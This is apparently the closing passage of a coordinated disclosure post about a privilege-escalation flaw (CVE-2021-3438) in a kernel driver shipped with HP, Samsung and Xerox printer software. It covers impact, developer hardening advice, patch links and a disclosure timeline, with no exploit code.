An exploitable kernel driver vulnerability can lead an unprivileged user to a SYSTEM account and run code in kernel mode (since the vulnerable driver is locally available to anyone). Among the obvious abuses of such vulnerabilities are that they could be used to bypass security products.

Successfully exploiting a driver vulnerability might allow attackers to potentially install programs, view, change, encrypt or delete data, or create new accounts with full user rights. Weaponizing this vulnerability might require chaining other bugs as we didn’t find a way to weaponize it by itself given the time invested.


Generally speaking, it is highly recommended that in order to reduce the attack surface provided by device drivers with exposed IOCTLs handlers, developers should enforce strong ACLs when creating kernel device objects, verify user input and not expose a generic interface to kernel mode operations.


This vulnerability and its remedies are described in HP Security Advisory HPSBPI03724 and Xerox Advisory Mini Bulletin XRX21K. We recommend HP/Samsung/Xerox customers, both enterprise and consumer, to apply the patch as soon as possible.

To mitigate this issue users should use this link and look for their printer model and then download the patch file as shown in the picture:

Some Windows machines may already have this driver without even running a dedicated installation file, since the driver comes with Microsoft Windows via Windows Update:

The driver is marked as “File Distributed by Microsoft” in VirusTotal

Note: Not all affected products were initially listed on the advisory page. We initially conducted a small sample test and found other products vulnerable, so we recommend further verification.


This high severity vulnerability, which has been present in HP, Samsung, and Xerox printer software since 2005, affects  millions of devices and likely millions of users worldwide. Similar to previous vulnerabilities we have disclosed that remained hidden for 12 years (1, 2), the impact this could have on users and enterprises that fail to patch is far-reaching and significant.

While we haven’t seen any indicators that this vulnerability has been exploited in the wild up till now, with millions of printer models currently vulnerable, it is inevitable that if attackers weaponize this vulnerability they will seek out those that have not taken the appropriate action.

We would like to thank HP for their approach to our disclosure and for remediating the vulnerabilities quickly.

Disclosure Timeline

18 Feb, 2021 – Initial report.
23 Feb, 2021 – We notified HP that the same issue exists in Samsung and Xerox printers.
19 May, 2021 – HP released an advisory for CVE-2021-3438.
20 May, 2021 – We notified HP that the “affected products” listing is incomplete and provided extra information.
01 Jun, 2021 – HP updated the list of affected products.

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